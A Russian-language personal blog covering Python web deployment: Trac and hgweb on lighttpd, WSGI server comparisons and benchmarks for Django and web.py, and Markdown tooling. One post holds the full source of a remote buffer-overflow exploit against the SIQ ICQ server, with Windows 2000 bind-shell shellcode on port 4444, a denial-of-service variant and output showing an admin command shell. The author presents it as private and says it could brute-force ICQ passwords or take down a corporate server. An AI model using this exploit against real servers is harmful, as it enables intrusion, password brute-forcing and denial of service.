Пару хаков для запуска hgweb и Trac на lighttpd
Есть в lighttpd одна проблемка с переменной PATH_INFO. От параметра "broken-scriptfilename" почему-то толку 0 :.
Вот пару скриптов для запуска Trac и HGweb через fcgi:
- для запуска Trac в корневом каталоге сайта (нашёл в сети, хотя там была одна ошибка):
#!/usr/bin/env python try: from flup.server.fcgi import WSGIServer except ImportError: from trac.web._fcgi import WSGIServer from trac.web.main import dispatch_request import tempfile import os os.environ['PYTHON_EGG_CACHE'] = tempfile.gettempdir() def application(environ, start_request): environ['PATH_INFO'] = environ['SCRIPT_NAME'] + environ['PATH_INFO'] environ['SCRIPT_NAME'] = '' return dispatch_request(environ, start_request) if __name__ == '__main__': WSGIServer(application).run()
Для hgwebdir.cgi достаточно добавить что-то вроде:
os.environ['SCRIPT_NAME'] = "/hg"
hgwebdir.fcgi для запуска в корне сайта:
from mercurial import demandimport; demandimport.enable() from mercurial.hgweb.hgwebdir_mod import hgwebdir from flup.server.fcgi import WSGIServer def make_web_app(): return hgwebdir("hgweb.config") def wsgiapplication(app_maker): application = app_maker() def run_wsgi(env, respond): env['PATH_INFO'] = env['SCRIPT_NAME'] + env['PATH_INFO'] env['SCRIPT_NAME'] = '' return application(env, respond) return run_wsgi WSGIServer(wsgiapplication(make_web_app)).run()
Возможно кому-то пригодится
Бесполезность async серверов в Веб
В предыдущем посте поигрался с асинхронным способом запуска Django через cogen. Как оказал - совершил ошибку :) /me не спец в async-программировании Ниже выскажу своё мнение.
Итак, "асинхронизм" довольно сложная и тонкая штука, которую легко можно нарушить лишь одной синхронной I/O операцией. В тестах на "hellow world" асинхронный метод показал хороший результат, НО в реальных веб-приложениях есть узкое место, а конкретней СУБД. В реальной ситуацие мы получаем, что к базе существует лишь 1 коннект, т.е. django создаёт коннект -> выполняет операцию -> закрывает коннект, и потом опять повторяет данную последовательность. Поэтому на реальном приложении я получил такую ситуацию, что приложения начинало "накапливать" запросы к бд, и как-бы выставляло их в очередь и выполняло последовательно через 1 коннект. Хотя у psycopg2 и есть async API, но в django ORM данная поддержка отсутвует.
При запуске через cherrypy мы имеем тредовый WSGI сервер, при этом к базе у нас не 1 коннект, а несколько параллельных (max число упирается в число тредов).
В общем остановился на cherrypy + pgbouncer + postgres. PgBouncer использую по той причине, что у Постгреса тяжко с обработкой новых коннектов, да и на VPS лучше держать форки в памяти, чем каждый раз стартовать новый из-за тормознутости HDD. По поводу тестов piranha и результатов для CherryPy - там не был указан параметр request_queu_size, который используется сервером как параметр для socket.listen() (по дефолту он равен 15, так что результат очевиден), да и у Spawning dev-watch режим не выключен В)
Так что, имхо, использовать async можно лишь на серверах где нет БД, там будет реальный прирост производительности. Хотя на малонагруженых серврерах тоже сойдёт. Испытания проводил на серваке с нагрузкой более 18 req/s, в MYSQL (уже сменил на postgres) avg был равен около 550 q/s иногда и 1.2к %)
Альтернативные WSGI сервера для Django
Столкнулся с проблемой, после обновления джанги перестал корректно работать сервер scgi-flup + lighttpd. Причина банально проста, при POST-запросе на / получаем
WSGI решения
Сначала попробовал CherryPy, всё легко запускается, довольно быстро работает, но хотел чего-то большего ;) С подачи piranha глянул на FAPWS2 (Fast Asynchronous Python WebServer). Штука довольно интересная, использует libevent и основная часть кода написана на С, вечером нам всё таки удалось запустить проект на django 1.0. Из плюсов:
- использует мало памяти (~ на 5мб меньше чем cherrypy)
- написан на С
- поддержка WSGI
Из минусов:
- сомнительно стабильно %)
- мало наворотов
- проблемы с документацией
Одной из самый больших проблем оказалось отсутствие поля REMOTE_ADDR в запросе, из-за которого джанга местами валилась, хотя это можно легко исправить, но не факт что с остальным всё хорошо ;)
2й выбор пал на Cogen - "Coroutines and crossplatform asynchronous networking in python using enhanced generators from python 2.5" как описал это автор. Грубо говоря, это что-то вроде mini-twisted (надеюсь этой фразой я не спалил своё дилетанство в данном вопросе =) ) Так вот он, кроме всего, содержит в себе WSGI - сервер + работает через py-epoll. Для wsgi используется скрипт взятый из cherry, но доработанный под фреймворк (если это можно так назвать).
Теперь о вкусном=) По адресу http://code.google.com/p/cogen/wiki/WsgiServerBenchmark расположены бенчмарки, да, местами Twisted-Web2 выигрывает в скорости, но лично у меня нет желания юзать сию махину для данной цели, да и думаю там есть чему течь ;) Cogen также поддерживает middleware (смотреть cogen.web.async, хотя на WSGI мидлеты они не сильно похожи В] )
Запуска Django на Cogen
После запуска порадовала скорость, даже при 500 конкурирующих запросах (да, мало кому нужна такая нагрузка, но ради академического интереса пригодится) приложение не падало, ни одого failed request, при этом запросы обрабатывались равномерно (примерно за однин временной диапазон) %) В общем "ни единого разрыва" :p. Утечки памяти не были обнаружены, в то время как флуп при такой нагрузке отвечал на 25% запросов ошибкой. Из недостатков: как я понял у многих wsgi серверов проблемы с обработкой wsgi.input (хз в чём сложность, но в cogen и ещё одном сервере "из коробки" этого нет) и как поведёт себя cogen например при загрузке файла, я сказать не могу ибо не тестил, но сию проблему решил по простому (по дефолту от POST запросов джанга валится в трейсбек, тк wsgi.input = None). Скрипт для запуска Django:
#!/usr/bin/env python2.5 import sys import os import os.path from cogen.web import wsgi from cogen.web.async import sync_input from cogen.common import * if not os.path.dirname(__file__) in sys.path[:1]: sys.path.insert(0, os.path.dirname(__file__)) os.environ['DJANGO_SETTINGS_MODULE'] = 'settings' from django.core.handlers.wsgi import WSGIHandler application = WSGIHandler() m = Scheduler(default_priority=priority.LAST, default_timeout=15) server = wsgi.WSGIServer( ('localhost', 9000), sync_input(application), #!!! load middleware for wsgi.input m, server_name='localhost') m.add(server.serve) try: m.run() except (KeyboardInterrupt, SystemExit): pass
ЗЫ: easy_install cogen Проект довольно интересный, недостатков пока что не выявил. На сайте имеется документация и примеры скриптов, да и основная часть написана на python, разобраться не проблема. Возможно попробую использовать его + lighttpd c mod_proxy на боевом сервере. Написал заметку ради твика скрипта для обработки wsgi.input %))
Первый "блин" на Django
Давно ничего не писал в блог, т.к. сдавал диплом и писал футбольный портал (пока не презентабельно) Вот захотелось поделиться впечатлениями и имхами по ряду вещей и django в целом. Впечатления остались ... хорошими %) Последний раз смотрел на джангу года 3 назад, разница конечно большая.
Итак пару слов о проекте. Портал представляет из себя систему с блоками новостей и разделами, тегами, простыми блогами, форумом, регистрацией юзеров, турнирными таблицами, баннерной системой. Писать такое на web.py ммм, конечно можно, но пришлось бы изобретать ряд велосипедов.
Не думал что всё вышеперечисленное будет так просто реализовать%) Из основных модулей использовал:
- django-registration
- django-tagging
- django-robots
- django-forum
- UrlMiddleware + ThreadLocals
Вкратце о задачах и возникших сложностях.
Как оказалось, APPEND_SLASH не рaботает c FlatPages, то есть /about/ и /about - разные страницы. Решил сию проблему путём подключения UrlMiddleware и задания APPEND_SLASH = False.
При добавлении новостей было необходимо определять автора, давать пользователю задавать поле "автор" показалось не сильно корректным, но в джанге удобных средств для решения задачи не оказалось. Пришлось воспользоваться мидльварей ThreadLocals, которая при каждом запросе выдирает значение user из запроса и присваивает его глобальной переменной (на самом деле локальному треду, но это не столь важно =) ), который можно получить через ф-цию get_current_user(). Выглядит это примерно так:
def save(self): if not self.id: self.author = threadlocals.get_current_user() super(News, self).save()
В блогах потребовалось разграничить доступ для пользователей, то есть после авторизации пользователь должен видить только свои объекты (записи). Это легко можно сделать при помощи NFA, путём переопределения queryset() метода:
class EntryAdmin(admin.ModelAdmin): ... def queryset(self, request): qs = super(EntryAdmin, self).queryset(request) if not request.user.is_superuser: qs = qs.filter(blog__author=request.user) return qs
Таким образом мы получим только записи из блога залогиненого пользователя, довольно удобная штука (спасибо Кошелеву) =)
Когда я только начал писать проект, оказалось что ф-ции агрегации в ORM отсутвуют, но после рефакторинга-qs, кое-что появилось, о чём мало кто знает. В одной из задач возникла необходимость в группировки объектов, теперь через ORM это делается так:
qs = Schedule.objects.select_related().filter(pub_date__gte=datetime.now()) qs.query.group_by = ['country_id'] return {'schedule': qs}
Но вот Inline редактирование после NFA не понравилось, в старой админке это делалось 1й строкой, теперь же надо напистаь около 10 строк%). Пример прикручивания профиля к стандартной модели User:
from django.contrib import admin from profile.models import UserProfile from django.contrib.auth.models import User class ProfileInline(admin.StackedInline): model = UserProfile extra = 1 max_num = 1 class ProfileAdmin(admin.ModelAdmin): inlines = (ProfileInline,) admin.site.unregister(User) #!!! admin.site.register(User, ProfileAdmin)
По началу кажется избыточно, но потом привыкаешь (а ещё надо въехать где какую модель подставлять %)) Вместе с радостями жизни, узнал о get_profile()... это ужасная штука, которую я больше никогда не буду юзать, хотя снизить число запросов на 1 странице удалось при помощи тега cache в шаблонах Кстати в примере из документации, по подключению админки, пропущен вызов admin.autodiscover() в urls.py, так как без него мы получим пустую админку, если её описание задано в admin.py (данная ф-ция пробегает по всем apps и пытается импортировать admin.py) Кстати не советую объявлять прямо в модели, ибо вылазят ошибки, говорящие о том, что админка для модели уже задана. А вот FormSet'ы не осилил, долго маялся как убрать чекбокс delete над inline объектом (в старой админке это делалось через указание одной переменной). Хотя понял что надо задать can_delete = False, но где и как пока не ведомо) ибо по формсетам вменяемых примеров маловато, особенно по BaseInlineFormSet.
Комментарии решил хранить в форуме на базе django-forum. Кстати хочется оторвать яйца тому, кто когда-то в своём блоге хвалил сею поделку%) отсутсвие пагинации и по 30 запросов на 1 страницу это уж слишком, но при помощи ловкости рук и select_related() удалось довести до ума:
{% cache 600 profile comment.author %} {% if comment.author.get_profile.city %} ({{comment.author.get_profile.city}}) {% endif %} {% endcache %}
comment.author необходим для уникальности кеша
И последний момент - newforms. Было необходимо построить форму для модели (по началу думал руками нарисовать и не париться%), было бы быстрее...), но возникла необходимость заменить стандартный "class" на указанный в css:
from django.newforms.models import ModelForm from django.contrib.auth.models import User from profile.models import UserProfile from django import forms class ProfileForm(ModelForm): class Meta: model = UserProfile fields=('city',) class UserForm(ModelForm): class Meta: model = User fields=('first_name', 'last_name') #add class=reg4 to input field for form in (ProfileForm, UserForm): for f in form.base_fields: form.base_fields[f].widget.attrs.update({'class': 'rega4'})
Следующий момент. Возникла проблема с профилями, как оказалось они не создаются автоматически при регистрацие пользователя, решил при помощи сигналов (почему-то они вызываются по 2 раза и приходится делать проверку на существование профиля...)
def create_profile_for_user(sender, instance, signal, created, *args, **kwargs): if created: try: UserProfile.objects.get(user = instance) except (UserProfile.DoesNotExist, AssertionError): p = UserProfile( user = instance ) p.save() dispatcher.connect(create_profile_for_user, signal=signals.post_save, sender=User)
Метод выдрал из какой-то рассылки.
А вот пагинацию я вам не покажу)) ибо уж сильно она убога, а django-pagination поздно заметил.
Держит сие чудо по 25 запросов/сек (без кеша), а местами за 70 %) на простом VPS'e, работает под SCGI на lighttpd в 1 процесс/threaded режим, поедает 20Мб. Имхо не дурно =)
Чёт смотрю на подзаголовок "Вкратце..." ... но переименовывать уже лень=)
Спасибо Кошелеву, Соловьёву и lorien'y за подсказки на старте :] Пожалуй всё. Надеюсь я не принёс в сей мир очередную порцию "гавнакода", а внёс гармонию и красоту :)
Exception #07 video
Нашёл в блоге у Муркта ссылки на долгожданное видео с Exception #7.
Выложено 5 докладов:
- Мастер-класс по Python: Метаклассы + Дескрипторы
- Python и Django — платформа для фрилансера
- По ту сторону ООП: PEAK-Rules и PyProtocols
- Разработка Веб-приложений с использованием Grails
- Smalltalk — опыт применения
Все части доступны на YouTube
Нашёл в блоге у Муркта ссылки на долгожданное видео с Exception #7.
Выложено 5 докладов:
- Мастер-класс по Python: Метаклассы + Дескрипторы
- Python и Django — платформа для фрилансера
- По ту сторону ООП: PEAK-Rules и PyProtocols
- Разработка Веб-приложений с использованием Grails
- Smalltalk — опыт применения
Все части доступны на YouTube
SIQ (icq server for win32) exploit
Года 3 назад страдал фигнёй, пытаясь написать модуль для работы с ICQ, осилил только авторизацию и потерял интерес =)
Так вот, тестил я своё поделие на SIQ (http://www.kht.ru/homepage/apt/siq.htm) - простенький icq сервер от "профессионала, с большим опытом автоматизации бизнес-задач"(кстати opensource), но вот проверять длину uin'a видать не кошерно, а вот и зря..., как раз в то время страдал написанием сплойтов и тп ерундой, ниже код с PoC с биндшеллов для win2ksp4ru ( ну как минимум DoS сплойт отправляющий сервер авторизации SIQAuth в даун В) )
Код никакой ценности не несёт, а вотм мне он дорог как память =), может кому будет интересно (хотя как модуль для перебора паролей к icq либо как убийца корпоративной аси и сгодитя):
# SIQ (www.kht.ru/homepage/apt/siq.htm) exploit #Coded by slav0nic (http://slav0nic.org.ua) import struct from socket import * from random import * """ word == 2 bytes ;) FLAP (6 bytes): CS - Command Start (byte) CH - Channel (byte) SN - Sequence Number (word) random L - Data Field Length (word) SNACs: -------------------------------- D - Data (L) \_ | TLV_id (word) | TLV_len (word) | TLV_data (TLV_len) |....... """ #Constants # TLV TLV_UIN = 1 TLV_PWD = 2 TLV_VERSION= 3 TLV_ERROR = 4 TLV_REDIR = 5 TLV_COOKIE = 6 TLV_COUNTRY = 14 TLV_LANG = 15 #--------------------------------- # Channels CH_LOGIN = 1 CH_SNAC = 2 CH_ERROR = 3 CH_LOGOUT = 4 HELLO = "\x00\x00\x00\x01" FLAP_START = "2a" DBG = 1 def get_hello(s): "get FLAP\x00\x00\x00\x01" data = s.recv(10) if data[-4:] == "\x00\x00\x00\x01": return True else: return False def get_length(hex_): """ hexed string ->int return int """ tmp = list(map(lambda x: str(ord(x)),tuple(hex_))) #convert hex->ascii and join tmp[0]=int(tmp[0])*256 _int=tmp[0]+int(tmp[1]) return _int #exmpl. 01 0a = 266 def tohex(str_): """ Use for debug str->hex return ([hex], str) """ hex_= map(lambda x: "%.2x"%ord(x),tuple(str_)) text =" ".join(hex_) return hex_, text def make_flap(channel,data): l = len(data) fmt = '!BBhh %ds' %l return struct.pack(fmt,0x2a,channel,randrange(0xFFFF),l,data) def tlv_make(TLV_id, TLV_data): """return tlv-encoded string""" l = len(TLV_data) fmt = '!hh %ds' % l return struct.pack(fmt, TLV_id, l, TLV_data) def parse_tlv(data): """ received data -> tvl_info{} """ tlv_info = {} while 1: if len(data)<4: break tlv_id = get_length(data[0:2]) #get tlv id (word) tlv_len = get_length(data[2:4]) #and len (word) tlv_info[tlv_id]=data[4:4+tlv_len] data = data[4+tlv_len:] #remove parsed data return tlv_info def make_snac(family, subtype, flags, req_id): fmt="!hhhl" return struct.pack(fmt,family, subtype, flags, req_id) def parse_flap(data): hex_data = tohex(data)[0] CS = hex_data[0] if CS != FLAP_START: if DBG: print "[-]Protocol error." CH = hex_data[1] SN = "".join(hex_data[2:4]) L = "".join(hex_data[4:6]) data_size=get_length(data[4:6]) D = "".join(hex_data[6:6+data_size]) tlv_info = parse_tlv(data[6:6+data_size]) print tlv_info #LOGIN if tlv_info.has_key(TLV_REDIR): ip_port=tlv_info.get(TLV_REDIR) if tlv_info.has_key(TLV_COOKIE): cookie = tlv_info.get(TLV_COOKIE) ip, port = ip_port.split(":") s = socket(AF_INET, SOCK_STREAM) # s.settimeout(3) #DBG s.connect((ip, int(port))) packet="\x2a\x01"+\ "\x20\x04\x01\x08\x00\x00\x00\x01"+\ tlv_make(6,cookie) s.send(packet) get_hello(s) rec=s.recv(1024) print "\n\nrec ",tohex(rec)[1] packet=make_flap(CH_SNAC,make_snac(0x1, 0x17, 0, 0)+\ "\x00\x01\x00\x04\x00\x13\x00\x04\x00\x02"+\ "\x00\x01\x00\x03\x00\x01\x00\x01\x00\x15"+\ "\x00\x01\x00\x04\x00\x01\x00\x06\x00\x01"+\ "\x00\x09\x00\x01\x00\x0a\x00\x01\x00\x0b\x00\x01") s.send(packet) rec=s.recv(1024) print "\n\n",tohex(rec)[1] if DBG: print "\nCS=%s CH=%s SN=%s L=%s \nD=%s"\ %(CS, CH, SN, L, D) def make_pass(str_): """ encode string to password len(password) <= 16 return binary string """ roasting_array = ( 0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, 0x53, 0x7A, 0x95, 0x7C) passwrd ="".join(map(lambda char, roast_byte: "%c"%(ord(char)^(roast_byte)), tuple(str_), roasting_array[:len(str_)])) return passwrd def login(uin, password): """ uin and password - string return True if logged """ serverHost = "127.0.0.1" #login.icq.com serverPort = 5190 message = make_flap(CH_LOGIN,HELLO +\ tlv_make(TLV_UIN, uin)+\ tlv_make(TLV_PWD, make_pass(password))+\ tlv_make(TLV_VERSION, "3ICQ Inc. - Product of ICQ (TM).2003a.5.47.1.3800.85")+\ tlv_make(16, "\x01\x0a")+\ tlv_make(17, "\x00\x03")+\ tlv_make(18, "\x00\x03")+\ tlv_make(19, "\x00\x01")+\ tlv_make(0x1a, "\x0e\xd8")+\ tlv_make(0x14, "\x00\x00\x00\x55")+\ tlv_make(TLV_LANG, "ru")+\ tlv_make(TLV_COUNTRY, "ru")) sockobj = socket(AF_INET, SOCK_STREAM) sockobj.connect((serverHost, serverPort)) data = sockobj.recv(1024) #get hello msg (test packet) if DBG: print "<<",tohex(data)[1] if (tohex(data)[1][0:2] == FLAP_START) and HELLO in data: if DBG: print "[+]Connected" else: print "[-]Server error. Can't get test FLAP" sockobj.close() if DBG: print "->",tohex(message)[1] # sockobj.settimeout(10) #DBG while True: sockobj.send(message) data = sockobj.recv(1024) if DBG: print "<<",tohex(data)[1] parse_flap(data) return True if __name__=="__main__": "bindshell 4444 shellcode for win2ksp4ru" sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2" #uin_for_DoS = 'A'*1023+'\x90'*418+'X'+'\x90'*418#1860 bytes# uin = 'A'*1072+struct.pack('<L',0x0072FCF0)+sc+'\x90'*400 login(uin,"123")
Запускаем и вуаля...
<< 2a 01 68 d3 00 04 00 00 00 01 [+]Connected -> 2a 01 3b 3e 07 cc 00 00 00 01 00 01 07 53 41 41 41 41 41 41 41 41 41 41 41 41 ...
Смотрим открытые порты и видим наш 4444 порт В) :
C:\\WebServer\\siq>netstat -na
Активные подключения
Имя Локальный адрес Внешний адрес Состояние
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
...
TCP 0.0.0.0:1035 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1058 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1101 0.0.0.0:0 LISTENING
TCP 0.0.0.0:4444 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5190 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5191 0.0.0.0:0 LISTENING
Телнетимся к порту telnet 4444 и попадаем в cmd консоль с админскими правами.
Microsoft Windows 2000 [Версия 5.00.2195] (с) Корпорация Майкрософт, 1985-2000. C:\WINNT2\system32>
Пойду понастальгирую и поковыряю другие коды) Кстати сплойт в нете ещё не выкладывался, будем считать его приватным В)
Подсветка кода в markdown при помощи pygments
Решил прикрутить подсветку к markdown, благо он поддерживает плагины, но писать самоу не пришлось, ибо он уже написан и имя ему CodeHilite. Поддерживает 3 способа подсветки кода:
- GNU Enscript
- dp.SyntaxHighlighter
- Pygments
Для добавления к работе с mardown достаточно скачать mdx_codehilite.py и кинуть его с sys.path. Для работы с pygments необходимо сгенерировать css-файл подсветки кода ну и подключить его к странице в которой будет выводиться код:
pygmentize -f html -S colorful -a .codehilite > pygments.css
Далее всё просто:
>>> import markdown >>> txt = """ ... :::python ... #comment ... print "hello" ... """ >>> markdown.markdown(txt, ['codehilite(hiliter=pygments)']) u'<div class="codehilite"><pre><span class="c">#comment</span>\n<span class="k">print</span> <span class="s">"hello"</span>\n</pre></div>'
Для смены способа подсветки кода необходимо лишь сменить hiliter, за вывод номеров строк отвечает параметр force_linenos (значения on/off).
Удобная штука;]
fcgi vs scgi vs cherrypy (web.py dev server)
Приспичило посмотреть что есть scgi и чем он лучше. Тестил на lighttpd 1.49, возможно по этому результаты немного отличается от предыдущих тестов
Тестил при помощи ab на локалхосте. На простом приложении на web.py 0.23 для scgi:
slav0nic@sl:~$ cat /var/www/test/code.fcgi
#!/usr/bin/python2.5
import web, sys
urls = (
'/', 'index'
)
class index:
def GET(self):
web.header("Content-Type","text/html; charset=utf-8")
print web.ctx
web.wsgi.runwsgi = lambda func, addr=("127.0.0.1", 4000): web.wsgi.runscgi(func, addr)
if __name__ == '__main__':
sys.stderr = open("/dev/null", "a") #не выводим в консоль инфу о коннектах
web.run(urls, globals())
конфиг для mod_scgi:
scgi.server = ( "/code.fcgi" => ((
"host" => "127.0.0.1",
"port" => 4000,
"max-procs" => 1,
"bin-environment" => ("REAL_SCRIPT_NAME" => ""),
"check-local" => "disable")
))
для mod_fcgi:
fastcgi.server = ".fcgi" =>
(("bin-path"=>"/var/www/test/code.fcgi",
"socket" => "/tmp/python.socket",
"bin-environment" => (
"REAL_SCRIPT_NAME" => "",
"check-local" => "disable"),
"max-procs" => 1,
))
SCGI-приложение запускалось как простой файл ./code.fcgi c lighttpd общалось через tcp socket (через unix-socket оно похоже и не умеет, увы с доками к mod_scgi полная ж@#$). stderr редиректил в /dev/null, без этого на ~30-50 запросов в секунду меньше (при запусуке в gnome-terminal) Длина документа примерно 2Кб.
Максимальное число запросов в секунду выделено жирным, 2й - курсив, выдача статики приведена просто для сравнения и интеерса не представляет =)
Итакс результаты:
1 конкурирующий запрос, 2к запросов (последовательных)
FCGI, ab -n2000 localhost/
Requests per second: 564.05CherryPy/3.0.1 (то что в web.py встроено) ab -n2000 localhost:8080/
Requests per second: 898.09SCGI, /usr/sbin/ab -n2000 localhost/
Document Length: 2104 bytes
Requests per second: _ 674.35_
Transfer rate: 1503.80 [Kbytes/sec] receivedlighttpd static, /usr/sbin/ab -n2000 localhost/static/
Document Length: 2455 bytes
Requests per second: 3053.12
5 конкурирующих запросов:
FCGI, /usr/sbin/ab -n2000 -c5 localhost/
Failed requests: 741
Requests per second: 537.87
Transfer rate: 1196.75 [Kbytes/sec] receivedCherryPy/3.0.1, /usr/sbin/ab -n2000 -c5 localhost:8080/
Failed requests: 3
Requests per second: 880.78
Transfer rate: 1540.49 [Kbytes/sec] receivedSCGI, sl:/etc/lighttpd# /usr/sbin/ab -n2000 -c5 localhost/
Requests per second: 764.70
Transfer rate: 1705.28 [Kbytes/sec] receivedlighttpd static, /usr/sbin/ab -n2000 -c5 localhost/static/
Requests per second: 3301.76
Transfer rate: 8449.20 [Kbytes/sec] received
25 конкурирующих запросов:
FCGI, /usr/sbin/ab -n2000 -c25 localhost/
Failed requests: 718
Requests per second: 500.37
Transfer rate: 1112.56 [Kbytes/sec] receivedCherryPy/3.0.1 /usr/sbin/ab -n2000 -c25 localhost:8080/
Requests per second: 664.86
Transfer rate: 1163.18 [Kbytes/sec] receivedSCGI, /usr/sbin/ab -n2000 -c25 localhost/static/
Requests per second: 716.10
Transfer rate: 1596.89 [Kbytes/sec] receivedlighttpd static, /usr/sbin/ab -n2000 -c25 localhost/static/
Requests per second: 3643.83
Transfer rate: 9311.81 [Kbytes/sec] received
PS: из результатов не понял что есть failed connection при использвоании FCGI, возможно это баг ab, возможно таки fascgi при нагрузке захлёбывался (аналогичное было при scgi, когда я не делал редирект stderr с консоли в /dev/null), хотя при попытках загрузки страницы браузером всё было ок, по результатам ab 40% запросов вернули ошибки... От cherry не ожидал такой скорости (при этом я не делал редирект коннектов в /dev/null, а stdio неплохо тормозит работу программы...), scgi выиграл только при значительной нагрузке, думаю при кластеризацие цифра будет ещё больше. ЗЫ: для проектов, с большой нагрузкой - fcgi в топку, из недостатоков scgi отмечу лишь "сложность" запуска, софтину надо запускать как демон, при этом прописать bin-path как в mod_fcgi (чтоб сервер сам это делал при старте) - не вышло.
markitUp
На днях возжелал прикрутить к админке какой-нибудь редактор, поддерживающих markdown, при этом являющимся чем-то средним между textarea и WYSIWYG Наткнулся на wmd-editor, но что-то он показался уж сильно простым=). С посыла piranha глянул markitUp. На нём и остановился:). Из особенной отмечу:
- используей jQuery
-
поддерживает:
- html
- bbcode
- textile
- wiki
- dotclear
- markdown
- легко расширяем + поддерживает плагины
- нелохо выглядит=) :
Также легко встраивается (даже такое далёкое от javascript существо как я, осилило сей незамысловатый процесс=] ). Из особенностей настройки отмечу лишь пару моментов при прикучивании markdown плагина...
В файле markitup/sets/markdown/set.js в настройках стоит добавить строку:
nameSpace: "markdown",
И указать previewParserPath , например:
previewParserPath: "/entry/preview"
Тут начинается интересный момент, в markitup имеется баг, при использовании utf8 в превьюшку посылаются кривые данные, для избавления от бага стоит заменить 389 строку в jquery.markitup.js, ф-цию escape($$.val()) заменить на encodeURIComponent($$.val()).
Контроллер /entry/preview выглядит просто:
class Preview:
def POST(self):
i = web.input()
print markdown.markdown(i.data.decode("utf8"))
То есть превью текст передаётся в переменной data. Осталось прикрутить pygments к markdown и можно жить В)
Python.com.ua -> python.su
Всё таки Денис Откидач подарил нам su домен, за что ему большое спасибо=)




